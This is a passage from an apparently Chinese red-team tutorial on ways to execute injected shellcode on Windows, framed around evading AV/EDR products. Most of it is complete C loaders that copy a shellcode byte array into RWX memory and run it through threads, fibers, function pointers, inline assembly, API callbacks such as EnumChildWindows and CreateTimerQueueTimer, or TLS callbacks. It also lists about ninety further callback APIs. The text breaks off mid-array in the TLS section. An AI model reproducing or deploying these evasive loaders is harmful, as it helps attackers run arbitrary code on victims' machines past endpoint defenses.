本节介绍shellcode注入三部曲的最后一步,也是至关重要的一步。不管你前面已经完成了注入的步骤,比如分配内存、写入shellcode,只要你不触碰到AV/EDR的逆鳞——执行shellcode,AV/EDR都不会管你,只会标记为可疑状态。
可是,我们的最终目标不就是让shellcode执行起来吗,我们先不管执行shellcode会不会触发检测,也不用考虑防御规避的事情,动起来才是第一要义,下面我会介绍9种执行shellcode的方法,它们之间的优劣主要看使用场景。
⚠注意:
在shellcode注入中一定要分清是注入本进程还是远程进程。
这里并不讨论使用Nt或Zw类型的API,也不讨论系统调用。
一、基于CreateThread
使用 CreateThread
执行shellcode是最基础、最经典、最出名的一种执行方式。其原理就是创建在调用进程的虚拟地址空间内执行的线程,在shellcode注入中就是为shellcode创建一个线程。
详细代码,请看创建线程注入(CreateThread Injection)
二、基于CreateFiber
原理:ConvertThreadToFiber
+ CreateFiber
+ SwitchToFiber
将当前线程转换为纤程→创建指向Shellcode的新纤程→通过纤程调度切换执行
优势
无传统线程创建事件(CreateThread
等敏感API)
可与合法纤程池混合伪装(如IIS等使用纤程的宿主进程)
劣势
主线程必须先行转换为纤程(ConvertThreadToFiber
触发HOOK风险)
部分EDR开始监控FiberLocalStorage
异常修改
无法绕过用户态堆栈内存扫描(如CarbonBlack的栈回溯检测)
场景
对抗依赖线程创建行为分析的EDR(如CrowdStrike Falcon)
详细代码,请看创建纤程注入(CreateFiber Injection)
三、基于CreateRemoteThread
原理:CreateRemoteThread
+ WriteProcessMemory
详细代码,请看 创建远程线程注入(CreateRemoteThread Injection)
四、基于APC
原理:利用QueueUserAPC
向目标线程插入异步调用
劣势:需目标线程进入Alertable状态,执行时机不可控
场景:针对GUI程序(如explorer.exe常驻消息循环)
详细代码,请看 APC注入(APC Injection)
五、基于函数指针
优势:
伪装成合法回调函数(如TLS回调、COM对象方法)
劣势:直接调用导致堆栈回溯异常,极易受AV/EDR拦截
场景:需要快速验证Shellcode有效性的红队测试,实战用的比较少
理解 (*(void (* )()) lpBaseAddress)()
void (*)()
是一个无参数、无返回类型的函数指针。
(void (*)())lpBaseAddress
是将lpBaseAddress强转为函数指针类型。
(*(void (*)()) lpBaseAddress)()
就是通过函数指针(相当于这个格式(*函数指针)()
)进行函数调用。
示例代码
#include <windows.h>
#include <stdio.h>
int main()
{
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
LPVOID lpBaseAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(lpBaseAddress, shellcode, sizeof(shellcode));
(*(void (*)()) lpBaseAddress)();
}
六、基于内联汇编
劣势:
平台依赖性极强(x86/x64/ARM需分别编写)
只适用于x86,示例代码
#include <windows.h>
#include <stdio.h>
int main()
{
unsigned char shellcode[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, shellcode, sizeof(shellcode));
__asm {
mov eax, pMemory // 将pMemory变量存储的地址加载到eax寄存器
call eax // 使用call指令跳转到eax寄存器指向的地址,开始执行shellcode
}
return 0;
}
七、基于Windows的API提供的回调函数调用
什么是回调函数:回调函数是一个被作为参数传递的函数
原理:利用Windows API的回调机制(如 EnumWindows
、EnumChildWindows
等)将Shellcode伪装成合法回调函数,由系统API主动触发执行
优势:最大的优势就是不使用 CreateThread
或 CreateRemoteThread
劣势:需手动处理 stdcall
/ cdecl
等调用约定,若Shellcode未适配参数压栈顺序会导致栈崩溃(暂时未遇到相关问题)
Windows的API上有很多都提供回调函数的调用,我就根据网上公开的信息,尝试几个并给出示例代码。
7.1 EnumSystemLocalesA
我对这个API的使用,最早可以追溯到 第一章-转换
那一小节,详细的代码示例可以去那一小节参考一下。
7.2 CreateTimerQueueTimer
CreateTimerQueueTimer
:创建计时器队列计时器。 此计时器在指定的到期时间过期,然后在每个指定的时间段后过期。 计时器过期时,将调用回调函数。
语法
BOOL CreateTimerQueueTimer(
[out] PHANDLE phNewTimer,
[in, optional] HANDLE TimerQueue,
[in] WAITORTIMERCALLBACK Callback,
[in, optional] PVOID Parameter,
[in] DWORD DueTime,
[in] DWORD Period,
[in] ULONG Flags
);
重点关注第三个参数Callback,以为着我们可以将shellcode作为回调函数。
示例代码
#include <windows.h>
#include <stdio.h>
int main()
{
#ifdef _WIN64
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
#else
unsigned char shellcode[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
#endif
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, shellcode, sizeof(shellcode));
// 设置定时器调用shellcode
HANDLE hTimer;
CreateTimerQueueTimer(
&hTimer, // 定时器句柄
NULL, // 默认定时器队列
(WAITORTIMERCALLBACK)pMemory, // 回调函数地址
NULL, // 传递给回调的参数
0, // 立即触发
0, // 不重复
WT_EXECUTEINTIMERTHREAD // 在定时器线程中执行
);
Sleep(1000);
return 0;
}
7.3 EnumChildWindows
EnumChildWindows
:通过将每个子窗口的句柄依次传递给应用程序定义的回调函数,枚举属于指定父窗口的子窗口。 EnumChildWindows 会一直持续到枚举最后一个子窗口或回调函数返回 FALSE。
语法
BOOL EnumChildWindows(
[in, optional] HWND hWndParent,
[in] WNDENUMPROC lpEnumFunc,
[in] LPARAM lParam
);
重点关注第二个参数lpEnumFunc即可。
示例代码
#include <windows.h>
#include <stdio.h>
int main()
{
#ifdef _WIN64
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
#else
unsigned char shellcode[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
#endif
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, shellcode, sizeof(shellcode));
// 获取指定父窗口句柄(以计算器为例)
HWND hParent = FindWindowW(L"ApplicationFrameWindow", L"计算器");
if (!hParent) {
MessageBoxW(NULL, L"未找到目标父窗口", L"错误", MB_ICONERROR);
return 1;
}
// 执行窗口枚举,从而触发shellcode
EnumChildWindows(hParent, (WNDENUMPROC)pMemory,0);
Sleep(1000);
return 0;
}
7.4 EnumUILanguagesW
EnumUILanguagesW
:枚举操作系统上可用的用户界面语言,并使用列表中的每种语言调用回调函数。
语法
BOOL EnumUILanguagesW(
[in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,
[in] DWORD dwFlags,
[in] LONG_PTR lParam
);
重点关注第一个参数lpUILanguageEnumProc
示例代码
#include <windows.h>
#include <stdio.h>
int main()
{
#ifdef _WIN64
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
#else
unsigned char shellcode[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
#endif
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, shellcode, sizeof(shellcode));
// 执行枚举,从而触发shellcode
EnumUILanguagesW((UILANGUAGE_ENUMPROCW)pMemory, MUI_LANGUAGE_ID, 0);
Sleep(1000);
return 0;
}
7.5 EnumFontsW
EnumFontsW
:枚举指定设备上可用的字体。
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "gdi32.lib")
int main()
{
#ifdef _WIN64
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
#else
unsigned char shellcode[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
#endif
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, shellcode, sizeof(shellcode));
// 执行枚举,从而触发shellcode
EnumFontsW(GetDC(NULL), L"Microsoft Sans Serif", (FONTENUMPROCW)pMemory, NULL);
Sleep(1000);
return 0;
}
7.6 总结
由于Windows有非常多的API都提供回调函数的调用,在这里我就不一一尝试了,感兴趣的读取可以去微软的官方文档中寻找。在这里补充一下我认为可行的API:
acmDriverEnum
CallWindowProc
CertEnumPhysicalStore
CertEnumSystemStore
CertEnumSystemStoreLocation
CertFindChainInStore
ChooseColor
ChooseFont
CopyFile2
CopyFileEx
CreatePropertySheetPage
CryptDecodeMessage
CryptEnumKeyIdentifierProperties
CryptEnumOIDFunction
CryptEnumOIDInfo
CryptInstallOIDFunctionAddress
CryptVerifyMessageSignature
DialogBoxIndirectParam
DirectSoundCaptureEnumerate
DirectSoundEnumerate
DPA_DestroyCallback
DPA_EnumCallback
DrawState
DSA_DestroyCallback
DSA_EnumCallback
EnumCalendarInfo
EnumCalendarInfoEx
EnumCalendarInfoExEx
EnumChildWindows
EnumDateFormats
EnumDateFormatsEx
EnumDateFormatsExEx
EnumDesktops
EnumDesktopWindows
EnumDirTree
EnumDisplayMonitors
EnumerateLoadedModules
EnumerateLoadedModulesEx
EnumFontFamilies
EnumFontFamiliesEx
EnumFonts
EnumLanguageGroupLocales
EnumMetaFile
EnumObjects
EnumPageFiles
EnumProps
EnumPropsEx
EnumPwrSchemes
EnumResourceLanguages
EnumResourceNames
EnumResourceNamesEx
EnumResourceTypes
EnumResourceTypesEx
EnumSystemCodePages
EnumSystemGeoID
EnumSystemLanguageGroups
EnumSystemLocales
EnumSystemLocalesEx
EnumThreadWindows
EnumTimeFormats
EnumTimeFormatsEx
EnumUILanguages
EnumWindows
EnumWindowStations
FindDebugInfoFileEx
FindExecutableImageEx
GetOpenFileName
GetSaveFileName
GrayString
ImageGetDigestStream
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
LdrpCallInitRoutine
LineDDA
MappingRecognizeText
mciSetYieldProc
mmioInstallIOProc
NotifyIpInterfaceChange
NotifyRouteChange2
NotifyTeredoPortChange
NotifyUnicastIpAddressChange
PageSetupDlg
PlaExtractCabinet
PrintDlg
PropertySheet
ReadFileEx
SendMessageCallback
SetupCommitFileQueue
SetWinEventHook
SHBrowseForFolder
SymEnumProcesses
SymFindFileInPath
VerifierEnumerateResource
waveInOpen
waveOutOpen
WriteFileEx
WsPullBytes
WsPushBytes
八、基于TLS回调机制
TLS(Thread Local Storage) 是Windows中用于管理线程局部存储的机制,允许每个线程拥有独立的数据副本。TLS回调函数 是程序初始化或线程启动/退出时自动触发的函数,其执行时机 早于程序入口点(如main
或WinMain
),常用于初始化线程相关资源。
攻击者通过 篡改TLS回调函数,将Shellcode的执行嵌入到TLS回调中。由于TLS回调在程序主入口点之前执行,这种技术可以:
绕过部分检测:某些安全工具(如调试器、行为监控)可能未监控TLS初始化阶段。
示例代码
#include <Windows.h>
#include <stdio.h>
#ifdef _WIN64
unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
#else
unsigned char shellcode[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
